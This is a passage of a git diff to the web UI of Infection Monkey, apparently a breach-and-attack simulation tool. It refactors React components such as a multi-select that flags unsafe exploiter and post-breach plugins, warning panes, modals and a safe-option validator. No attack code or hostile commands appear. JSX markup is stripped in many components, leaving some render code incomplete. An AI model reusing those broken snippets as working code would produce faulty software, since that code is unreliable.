(this.state.result.hasOwnProperty(instId)) { - color = this.state.result[instId] ? '#00f01b' : '#f00000' - } - } - - return { - style: {backgroundColor: color} - }; - }; - - render() { - return ( -
    - (this.checkboxTable = r)} - keyField="instance_id" - columns={columns} - data={this.props.data} - showPagination={true} - defaultPageSize={pageSize} - className="-highlight" - selectType="checkbox" - toggleSelection={this.toggleSelection} - isSelected={this.isSelected} - toggleAll={this.toggleAll} - selectAll={this.state.selectAll} - getTrProps={this.getTrProps} - /> -
    - ); - } -} - -export default AwsRunTableComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 9c1468d8d..193cb40b0 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -1,121 +1,200 @@ -import React, {useState} from 'react'; +import React from 'react'; +import {Button, Card} from 'react-bootstrap'; -import {Card, Button, Form} from 'react-bootstrap'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; -import {faSquare} from '@fortawesome/free-regular-svg-icons'; import {cloneDeep} from 'lodash'; -import {getComponentHeight} from './utils/HeightCalculator'; -import {resolveObjectPath} from './utils/ObjectPathResolver'; -import InfoPane from './InfoPane'; +import {getDefaultPaneParams, InfoPane, WarningType} from './InfoPane'; +import {MasterCheckbox, MasterCheckboxState} from './MasterCheckbox'; +import ChildCheckboxContainer from './ChildCheckbox'; +import {getFullDefinitionByKey} from './JsonSchemaHelpers'; - -function getSelectValuesAfterClick(valueArray, clickedValue) { - if (valueArray.includes(clickedValue)) { - return valueArray.filter((e) => { - return e !== clickedValue; - }); - } else { - valueArray.push(clickedValue); - return valueArray; - } -} - -function onMasterCheckboxClick(checkboxValue, defaultArray, onChangeFnc) { - if (checkboxValue) { - onChangeFnc([]); - } else { - onChangeFnc(defaultArray); - } -} - -// Definitions passed to components only contains value and label, -// custom fields like "info" or "links" must be pulled from registry object using this function -function getFullDefinitionsFromRegistry(refString, registry) { - return getObjectFromRegistryByRef(refString, registry).anyOf; -} - -function getObjectFromRegistryByRef(refString, registry) { - let refArray = refString.replace('#', '').split('/'); - return resolveObjectPath(refArray, registry); -} - -function getFullDefinitionByKey(refString, registry, itemKey) { - let fullArray = getFullDefinitionsFromRegistry(refString, registry); - return fullArray.filter(e => (e.enum[0] === itemKey))[0]; -} - -function setPaneInfo(refString, registry, itemKey, setPaneInfoFnc) { - let definitionObj = getFullDefinitionByKey(refString, registry, itemKey); - setPaneInfoFnc({title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}); -} - -function getDefaultPaneParams(refString, registry) { - let configSection = getObjectFromRegistryByRef(refString, registry); - return ({title: configSection.title, content: configSection.description}); -} - -function AdvancedMultiSelect(props) { - const [masterCheckbox, setMasterCheckbox] = useState(true); +function AdvancedMultiSelectHeader(props) { const { - schema, - id, - options, - value, - required, - disabled, - readonly, - multiple, - autofocus, - onChange, - registry + title, + onCheckboxClick, + checkboxState, + hideReset, + onResetClick } = props; - const {enumOptions} = options; - const [infoPaneParams, setInfoPaneParams] = useState(getDefaultPaneParams(schema.items.$ref, registry)); - getDefaultPaneParams(schema.items.$ref, registry); - const selectValue = cloneDeep(value); + return ( -
    - - - {props.schema.title} - - - {enumOptions.map(({value, label}, i) => { - return ( - setPaneInfo(schema.items.$ref, registry, value, setInfoPaneParams)}> - - - {label} - - - ); - })} - - -
    + + + + ); } +class AdvancedMultiSelect extends React.Component { + constructor(props) { + super(props); + + this.defaultValues = props.schema.default; + this.infoPaneRefString = props.schema.items.$ref; + this.registry = props.registry; + this.enumOptions = props.options.enumOptions.sort(this.compareOptions); + + this.state = { + masterCheckboxState: this.getMasterCheckboxState(props.value), + hideReset: this.getHideResetState(props.value), + infoPaneParams: getDefaultPaneParams( + this.infoPaneRefString, + this.registry, + this.isUnsafeOptionSelected(props.value) + ) + }; + } + + // Sort options alphabetically. "Unsafe" options float to the top so that they + // do not get selected and hidden at the bottom of the list. + compareOptions = (a, b) => { + // Apparently, you can use additive operators with boolean types. Ultimately, + // the ToNumber() abstraction operation is called to convert the booleans to + // numbers: https://tc39.es/ecma262/#sec-tonumeric + if (this.isSafe(a.value) - this.isSafe(b.value) !== 0) { + return this.isSafe(a.value) - this.isSafe(b.value); + } + + return a.value.localeCompare(b.value); + } + + onMasterCheckboxClick = () => { + if (this.state.masterCheckboxState === MasterCheckboxState.ALL) { + var newValues = []; + } else { + newValues = this.enumOptions.map(({value}) => value); + } + + this.props.onChange(newValues); + this.setMasterCheckboxState(newValues); + this.setHideResetState(newValues); + this.setPaneInfoToDefault(this.isUnsafeOptionSelected(newValues)); + } + + onChildCheckboxClick = (value) => { + let selectValues = this.getSelectValuesAfterClick(value); + this.props.onChange(selectValues); + + this.setMasterCheckboxState(selectValues); + this.setHideResetState(selectValues); + } + + getSelectValuesAfterClick(clickedValue) { + const valueArray = cloneDeep(this.props.value); + + if (valueArray.includes(clickedValue)) { + return valueArray.filter(e => e !== clickedValue); + } else { + valueArray.push(clickedValue); + return valueArray; + } + } + + setMasterCheckboxState(selectValues) { + let newState = this.getMasterCheckboxState(selectValues); + + if (newState != this.state.masterCheckboxState) { + this.setState({masterCheckboxState: newState}); + } + } + + getMasterCheckboxState(selectValues) { + if (selectValues.length === 0) { + return MasterCheckboxState.NONE; + } + + if (selectValues.length !== this.enumOptions.length) { + return MasterCheckboxState.MIXED; + } + + return MasterCheckboxState.ALL; + } + + onResetClick = () => { + this.props.onChange(this.defaultValues); + this.setHideResetState(this.defaultValues); + this.setMasterCheckboxState(this.defaultValues); + this.setPaneInfoToDefault(this.isUnsafeOptionSelected(this.defaultValues)); + } + + setHideResetState(selectValues) { + this.setState(() => ({ + hideReset: this.getHideResetState(selectValues) + })); + } + + getHideResetState(selectValues) { + return !(this.isUnsafeOptionSelected(selectValues)) + } + + isUnsafeOptionSelected(selectValues) { + return !(selectValues.every((value) => this.isSafe(value))); + } + + isSafe = (itemKey) => { + return getFullDefinitionByKey(this.infoPaneRefString, this.registry, itemKey).safe; + } + + setPaneInfo = (itemKey) => { + let definitionObj = getFullDefinitionByKey(this.infoPaneRefString, this.registry, itemKey); + this.setState( + { + infoPaneParams: { + title: definitionObj.title, + content: definitionObj.info, + link: definitionObj.link, + warningType: this.isSafe(itemKey) ? WarningType.NONE : WarningType.SINGLE + } + } + ); + } + + setPaneInfoToDefault(isUnsafeOptionSelected) { + this.setState(() => ({ + infoPaneParams: getDefaultPaneParams( + this.props.schema.items.$ref, + this.props.registry, + isUnsafeOptionSelected + ) + })); + } + + render() { + const { + autofocus, + id, + multiple, + required, + schema, + value + } = this.props; + + return ( +
    + + + + + +
    + ); + } + + componentDidUpdate(_prevProps) { + this.setMasterCheckboxState(this.props.value); + } +} + export default AdvancedMultiSelect; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js index fdf3acd4f..2deabb6a5 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js @@ -19,7 +19,7 @@ class CheckboxComponent extends React.PureComponent { */ constructor(props) { super(props); - if (this.props.hasOwnProperty('status')){ + if (Object.prototype.hasOwnProperty.call(this.props, 'status')){ this.status = this.props.status; } else { this.status = false diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js new file mode 100644 index 000000000..055087e42 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js @@ -0,0 +1,64 @@ +import React from 'react'; +import {Button, Form} from 'react-bootstrap'; + +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; +import {faSquare} from '@fortawesome/free-regular-svg-icons'; + +import {getComponentHeight} from './utils/HeightCalculator'; +import WarningIcon from './WarningIcon'; + +function ChildCheckboxContainer(props) { + const { + enumOptions, + id, + multiple, + required, + autofocus, + onPaneClick, + onCheckboxClick, + selectedValues, + isSafe + } = props; + + return( + + { + enumOptions.map(({value, label}, i) => { + return ( + + ); + } + )} + + ); +} + +function ChildCheckbox(props) { + const { + onPaneClick, + onClick, + value, + label, + checkboxState, + safe + } = props; + + return ( + onPaneClick(value)}> + + {label} + {!safe && } + + ); +} + +export default ChildCheckboxContainer; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/CountBadge.js b/monkey/monkey_island/cc/ui/src/components/ui-components/CountBadge.js new file mode 100644 index 000000000..43b2ec518 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/CountBadge.js @@ -0,0 +1,18 @@ +import {Badge} from 'react-bootstrap'; +import React from 'react'; + + +function CountBadge(props) { + const TEXT_FOR_LARGE_RULE_COUNT = props.maxCount + '+'; + + const ruleCountText = props.count > props.maxCount ? + TEXT_FOR_LARGE_RULE_COUNT : props.count; + + return {ruleCountText}; +} + +CountBadge.defaultProps = { + maxCount: 9 +} + +export default CountBadge; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/DropdownSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/DropdownSelect.js new file mode 100644 index 000000000..8628c0b60 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/DropdownSelect.js @@ -0,0 +1,55 @@ +import React, {useState} from 'react'; +import {Dropdown} from 'react-bootstrap'; +import PropTypes from 'prop-types'; + +export default function DropdownSelect(props) { + const [selectedOption, setSelectedOption] = useState(props.defaultKey); + + function generateDropdownItems(data) { + if (Array.isArray(data)) { + return generateDropdownItemsFromArray(data); + } else if (typeof data === 'object') { + return generateDropdownItemsFromObject(data); + } else { + throw 'Component can only generate dropdown items from arrays and objects.' + } + } + + function generateDropdownItemsFromArray(data) { + return data.map((x, i) => generateDropdownItem(i, x)); + } + + function generateDropdownItemsFromObject(data) { + return Object.entries(data).map(([key, value]) => generateDropdownItem(key, value)); + } + + function generateDropdownItem(key, value) { + return ( + { setSelectedOption(key); + props.onClick(key)}} + active={(key === selectedOption)} + key={value}> + {value} + ); + } + + return ( + <> + + + {props.options[selectedOption]} + + + + {generateDropdownItems(props.options)} + + + + ) +} + +DropdownSelect.propTypes = { + options: PropTypes.oneOfType([PropTypes.object, PropTypes.array]), + defaultKey: PropTypes.oneOfType([PropTypes.string,PropTypes.number]), + onClick: PropTypes.func +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/Emoji.js b/monkey/monkey_island/cc/ui/src/components/ui-components/Emoji.js new file mode 100644 index 000000000..580103500 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/Emoji.js @@ -0,0 +1,12 @@ +import React from 'react'; +const Emoji = props => ( + + {props.symbol} + +); +export default Emoji; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js new file mode 100644 index 000000000..bd012944b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js @@ -0,0 +1,33 @@ +import React, {useState} from 'react'; +import PropTypes from 'prop-types'; +import {Button, Image, Modal} from 'react-bootstrap'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faSearchPlus} from '@fortawesome/free-solid-svg-icons'; + + +const ImageModal = (props) => { + + const [isModalOpen, setIsModalOpen] = useState(false); + + return ( +
    + + setIsModalOpen(false)}> + + + + +
    + ); +} + +export default ImageModal; + +ImageModal.propTypes = { + image: PropTypes.string +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index 5c963d87e..21e71e29f 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -3,6 +3,24 @@ import React from 'react'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons'; +import {getObjectFromRegistryByRef} from './JsonSchemaHelpers'; +import WarningIcon from './WarningIcon'; + +const WarningType = { + NONE: 0, + SINGLE: 1, + MULTIPLE: 2 +} + +function getDefaultPaneParams(refString, registry, isUnsafeOptionSelected) { + let configSection = getObjectFromRegistryByRef(refString, registry); + return ( + { + title: configSection.title, + content: configSection.description, + warningType: isUnsafeOptionSelected ? WarningType.Multiple : WarningType.NONE + }); +} function InfoPane(props) { return ( @@ -44,9 +62,36 @@ function getSubtitle(props) { function getBody(props) { return ( - {props.body} + {props.body} + {props.warningType !== WarningType.NONE && getWarning(props.warningType)} ) } -export default InfoPane +function getWarning(warningType) { + return ( +
    + {warningType === WarningType.SINGLE ? getSingleOptionWarning() : getMultipleOptionsWarning()} +
    + ); +} + +function getSingleOptionWarning() { + return ( + This option may cause a system to become unstable or + may change a system's state in undesirable ways. Therefore, this option + is not recommended for use in production or other sensitive + environments. + ); +} + +function getMultipleOptionsWarning() { + return ( + Some options have been selected that may cause a system + to become unstable or may change a system's state in undesirable ways. + Running Infection Monkey in a production or other sensitive environment + with this configuration is not recommended. + ); +} + +export {getDefaultPaneParams, InfoPane, WarningType} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/IslandMonkeyRunErrorModal.js b/monkey/monkey_island/cc/ui/src/components/ui-components/IslandMonkeyRunErrorModal.js new file mode 100644 index 000000000..61e0a9c8e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/IslandMonkeyRunErrorModal.js @@ -0,0 +1,100 @@ +import {Modal} from 'react-bootstrap'; +import React from 'react'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; + + +class IslandMonkeyRunErrorModal extends React.PureComponent { + + constructor(props) { + super(props); + + this.state = { + showModal: this.props.showModal, + errorDetails: this.props.errorDetails + }; + } + + componentDidUpdate(prevProps) { + if (this.props !== prevProps) { + this.setState({ + showModal: this.props.showModal, + errorDetails: this.props.errorDetails + }) + } + } + + getMissingBinariesContent() { + return ( + + Some Monkey binaries are not found where they should be...
    + You can download the files from here, + at the bottommost section titled "Assets", and place them under the + directory monkey/monkey_island/cc/binaries. +
    + ) + } + + getMonkeyAlreadyRunningContent() { + return ( + + Most likely, monkey is already running on the Island. Wait until it finishes or kill the process to run again. + + ) + } + + getUndefinedErrorContent() { + return ( + + You encountered an undefined error. Please report it to support@infectionmonkey.com or our slack channel. + + ) + } + + getDisplayContentByError(errorMsg) { + if (errorMsg.includes('Permission denied:') || errorMsg.includes('Text file busy')) { + return this.getMonkeyAlreadyRunningContent() + } else if (errorMsg.startsWith('Copy file failed')) { + return this.getMissingBinariesContent() + } else { + return this.getUndefinedErrorContent() + } + } + + render = () => { + return ( + this.props.onClose()}> + +

    +
    Uh oh...
    +

    +
    +

    + + {this.getDisplayContentByError(this.state.errorDetails)} +

    +
    +
    +

    + Error Details +

    +
    +
    +              {this.state.errorDetails}
    +            
    +
    +
    + +
    +
    +
    + ) + }; + +} + +export default IslandMonkeyRunErrorModal; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js b/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js new file mode 100644 index 000000000..9a3d9c66b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js @@ -0,0 +1,19 @@ +import {resolveObjectPath} from './utils/ObjectPathResolver'; + +function getFullDefinitionByKey(refString, registry, itemKey) { + let fullArray = getFullDefinitionsFromRegistry(refString, registry); + return fullArray.filter(e => (e.enum[0] === itemKey))[0]; +} + +// Definitions passed to components only contains value and label, +// custom fields like "info" or "links" must be pulled from registry object using this function +function getFullDefinitionsFromRegistry(refString, registry) { + return getObjectFromRegistryByRef(refString, registry).anyOf; +} + +function getObjectFromRegistryByRef(refString, registry) { + let refArray = refString.replace('#', '').split('/'); + return resolveObjectPath(refArray, registry); +} + +export {getFullDefinitionByKey, getObjectFromRegistryByRef}; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/LoadingIcon.js b/monkey/monkey_island/cc/ui/src/components/ui-components/LoadingIcon.js new file mode 100644 index 000000000..465ec7044 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/LoadingIcon.js @@ -0,0 +1,9 @@ +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faSync} from '@fortawesome/free-solid-svg-icons'; +import React from 'react'; + +function LoadingIcon() { + return +} + +export default LoadingIcon; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/LoadingScreen.js b/monkey/monkey_island/cc/ui/src/components/ui-components/LoadingScreen.js new file mode 100644 index 000000000..a57aa2b5a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/LoadingScreen.js @@ -0,0 +1,15 @@ +import React from 'react'; +import monkeyLoader from '../../images/monkey_loading.gif'; +import '../../styles/components/LoadingScreen.scss'; +import ParticleBackground from './ParticleBackground'; + +export default function LoadingScreen(props) { + return ( +
    + +
    +
    +
    {props.text.toUpperCase()}
    +
    +
    ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js new file mode 100644 index 000000000..907ccf08f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js @@ -0,0 +1,40 @@ +import React from 'react'; +import {Button} from 'react-bootstrap'; + +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; +import {faMinusSquare} from '@fortawesome/free-solid-svg-icons'; +import {faSquare} from '@fortawesome/free-regular-svg-icons'; + +const MasterCheckboxState = { + NONE: 0, + MIXED: 1, + ALL: 2 +} + +function MasterCheckbox(props) { + const { + title, + onClick, + checkboxState + } = props; + + let newCheckboxIcon = faCheckSquare; + + if (checkboxState === MasterCheckboxState.NONE) { + newCheckboxIcon = faSquare; + } else if (checkboxState === MasterCheckboxState.MIXED) { + newCheckboxIcon = faMinusSquare; + } + + return ( +
    + + {title} +
    + ); +} + +export {MasterCheckboxState, MasterCheckbox}; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/MissingBinariesModal.js b/monkey/monkey_island/cc/ui/src/components/ui-components/MissingBinariesModal.js deleted file mode 100644 index ae7f6ac4e..000000000 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/MissingBinariesModal.js +++ /dev/null @@ -1,62 +0,0 @@ -import {Modal} from 'react-bootstrap'; -import React from 'react'; - - -class MissingBinariesModal extends React.PureComponent { - - constructor(props) { - super(props); - - this.state = { - showModal: this.props.showModal, - errorDetails: this.props.errorDetails - }; - } - - componentDidUpdate(prevProps) { - if (this.props !== prevProps) { - this.setState({ - showModal: this.props.showModal, - errorDetails: this.props.errorDetails - }) - } - } - - render = () => { - return ( - this.props.onClose()}> - -

    -
    Uh oh...
    -

    -
    -

    - - Some Monkey binaries are not found where they should be...
    - You can download the files from here, - at the bottommost section titled "Assets", and place them under the directory monkey/monkey_island/cc/binaries. -

    -
    -
    -

    - Error Details -

    -
    -
    -              {this.state.errorDetails}
    -            
    -
    -
    - -
    -
    -
    - ) - }; - -} - -export default MissingBinariesModal; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js new file mode 100644 index 000000000..23d607311 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js @@ -0,0 +1,7 @@ +import Particles from 'react-particles-js'; +import {particleParams} from '../../styles/components/particle-component/ParticleBackgroundParams'; +import React from 'react'; + +export default function ParticleBackground() { + return (); +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js b/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js new file mode 100644 index 000000000..e06f00ec9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js @@ -0,0 +1,11 @@ +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; +import React from 'react'; + +function WarningIcon() { + return ( + + ); +} + +export default WarningIcon; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/BackButton.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/BackButton.js new file mode 100644 index 000000000..f37426df4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/BackButton.js @@ -0,0 +1,22 @@ +import {Button, Col, Row} from 'react-bootstrap'; +import React from 'react'; +import PropTypes from 'prop-types'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faCaretLeft} from '@fortawesome/free-solid-svg-icons/faCaretLeft'; + +export default function backButton(props) { + return ( + +
+ + + + ) +} + +backButton.propTypes = { + onClick: PropTypes.func +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/CommandSection.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/CommandSection.js new file mode 100644 index 000000000..ec4a53f0e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/CommandSection.js @@ -0,0 +1,19 @@ +import React from 'react'; +import PropTypes from 'prop-types'; + + +export default function CommandSection(props){ + return ( +
+ {props.commands[0].name} + {props.commands[0].command} +
+ ) +} + +CommandSection.propTypes = { + commands: PropTypes.arrayOf(PropTypes.exact({ + name: PropTypes.string, + command: PropTypes.string + })) +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js new file mode 100644 index 000000000..502fbf6b1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js @@ -0,0 +1,31 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import BackButton from './BackButton'; +import {Col, Row, Container} from 'react-bootstrap'; +import {getColumnSize} from './utils'; + + +export default function InlineSelection(WrappedComponent, props) { + return ( + + +
+ + {renderBackButton(props)} + + + + ) +} + +function renderBackButton(props) { + if (props.onBackButtonClick !== undefined) { + return (); + } +} + +InlineSelection.propTypes = { + setComponent: PropTypes.func, + ips: PropTypes.arrayOf(PropTypes.string), + onBackButtonClick: PropTypes.func +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js new file mode 100644 index 000000000..174dce254 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js @@ -0,0 +1,32 @@ +import {Button, Row, Col} from 'react-bootstrap'; +import React from 'react'; +import PropTypes from 'prop-types'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faAngleRight} from '@fortawesome/free-solid-svg-icons'; + +export default function nextSelectionButton(props) { + let description = props.description !== undefined ? (

{props.description}

) : '' + let iconType = props.iconType !== undefined ? props.iconType : '' + let icon = props.icon !== undefined ? () : '' + return ( + +
+ + + + ) +} + +nextSelectionButton.propTypes = { + title: PropTypes.string, + iconType: PropTypes.string, + icon: FontAwesomeIcon, + description: PropTypes.string, + onButtonClick: PropTypes.func +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/utils.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/utils.js new file mode 100644 index 000000000..16974f193 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/utils.js @@ -0,0 +1,16 @@ +export const COLUMN_SIZES = { + LARGE: 'large', + STANDARD: 'standard', + SMALL: 'small' +} + + +export function getColumnSize (size) { + if(size === undefined || size === COLUMN_SIZES.STANDARD){ + return {lg: 9, md: 10, sm: 12} + } else if(size === COLUMN_SIZES.LARGE) { + return {lg: 12, md: 12, sm: 12} + } else if(size === COLUMN_SIZES.SMALL) { + return {lg: 7, md: 7, sm: 7} + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js new file mode 100644 index 000000000..3de39fffe --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js @@ -0,0 +1,51 @@ +function getPluginDescriptors(schema, config) { + return ([ + { + name: 'Exploiters', + allPlugins: schema.definitions.exploiter_classes.anyOf, + selectedPlugins: config.basic.exploiters.exploiter_classes + }, + { + name: 'Fingerprinters', + allPlugins: schema.definitions.finger_classes.anyOf, + selectedPlugins: config.internal.classes.finger_classes + }, + { + name: 'PostBreachActions', + allPlugins: schema.definitions.post_breach_actions.anyOf, + selectedPlugins: config.monkey.post_breach.post_breach_actions + }, + { + name: 'SystemInfoCollectors', + allPlugins: schema.definitions.system_info_collector_classes.anyOf, + selectedPlugins: config.monkey.system_info.system_info_collector_classes + } + ]); +} + +function isUnsafeOptionSelected(schema, config) { + let pluginDescriptors = getPluginDescriptors(schema, config); + + for (let descriptor of pluginDescriptors) { + if (isUnsafePluginSelected(descriptor)) { + return true; + } + } + + return false; +} + +function isUnsafePluginSelected(pluginDescriptor) { + let pluginSafety = new Map(); + pluginDescriptor.allPlugins.forEach(i => pluginSafety[i.enum[0]] = i.safe); + + for (let selected of pluginDescriptor.selectedPlugins) { + if (!pluginSafety[selected]) { + return true; + } + } + + return false; +} + +export default isUnsafeOptionSelected; diff --git a/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-any-user.png b/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-any-user.png new file mode 100644 index 000000000..5faeb4709 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-any-user.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-current-user.png b/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-current-user.png new file mode 100644 index 000000000..0963561e2 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-current-user.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/monkey_loading.gif b/monkey/monkey_island/cc/ui/src/images/monkey_loading.gif new file mode 100644 index 000000000..eeac1725f Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/monkey_loading.gif differ diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 54bdccc3c..52658f5a9 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -40,7 +40,7 @@ export default class AuthService { }) }).then(response => response.json()) .then(res => { - if (res.hasOwnProperty('access_token')) { + if (Object.prototype.hasOwnProperty.call(res, 'access_token')) { this._setToken(res['access_token']); return {result: true}; } else { @@ -86,7 +86,7 @@ export default class AuthService { headers['Authorization'] = 'Bearer ' + this._getToken(); } - if (options.hasOwnProperty('headers')) { + if (Object.prototype.hasOwnProperty.call(options, 'headers')) { for (let header in headers) { options['headers'][header] = headers[header]; } diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 8e2d71cbe..9c6e4abba 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -113,12 +113,15 @@ body { .guardicore-link span { color: #999; vertical-align: middle; + padding-left: 4px; + padding-right: 4px; font-size: 1.7em; } .guardicore-link img { height: 38px; - margin-left: 8px; + padding-left: 4px; + padding-right: 4px; vertical-align: middle; } } @@ -301,45 +304,6 @@ body { background: #d30d09; } -.telemetry-console { - z-index: 2; - position: absolute; - bottom: 0; - left: 0; - right: 0; - height: 130px; - background: rgba(0, 0, 0, 0.7); - border-radius: 5px; - border: 3px solid #aaa; - padding: 0.5em; - color: white; - font-family: Consolas, "Courier New", monospace; - overflow: auto; -} - -.telemetry-console .date { - color: #ccc; -} - -.telemetry-console .source { - font-weight: bold; -} - -.telemetry-lines { - z-index: 3; - position: absolute; - bottom: 103px; - right: 20px; - background: #000000cc; - border-radius: 5px; - padding: 1px; - color: white; -} - -.map-legend { - font-size: 18px; -} - /* * Full Logs Page */ diff --git a/monkey/monkey_island/cc/ui/src/styles/Main.scss b/monkey/monkey_island/cc/ui/src/styles/Main.scss index 6b6096a3f..1609dffca 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Main.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Main.scss @@ -3,6 +3,7 @@ @import '../../node_modules/bootstrap/scss/bootstrap'; // Imports that require variables +@import 'components/Buttons'; @import 'pages/report/ReportPage.scss'; @import 'pages/report/AttackReport.scss'; @import 'pages/ConfigurationPage'; @@ -11,6 +12,15 @@ @import 'components/InfoPane'; @import 'components/PreviewPane'; @import 'components/AdvancedMultiSelect'; +@import 'components/particle-component/ParticleBackground'; +@import 'components/scoutsuite/ResourceDropdown'; +@import 'components/ImageModal'; +@import 'components/Icons'; +@import 'components/inline-selection/InlineSelection'; +@import 'components/inline-selection/NextSelectionButton'; +@import 'components/inline-selection/BackButton'; +@import 'components/inline-selection/CommandDisplay'; +@import 'components/Buttons'; // Define custom elements after bootstrap import diff --git a/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss 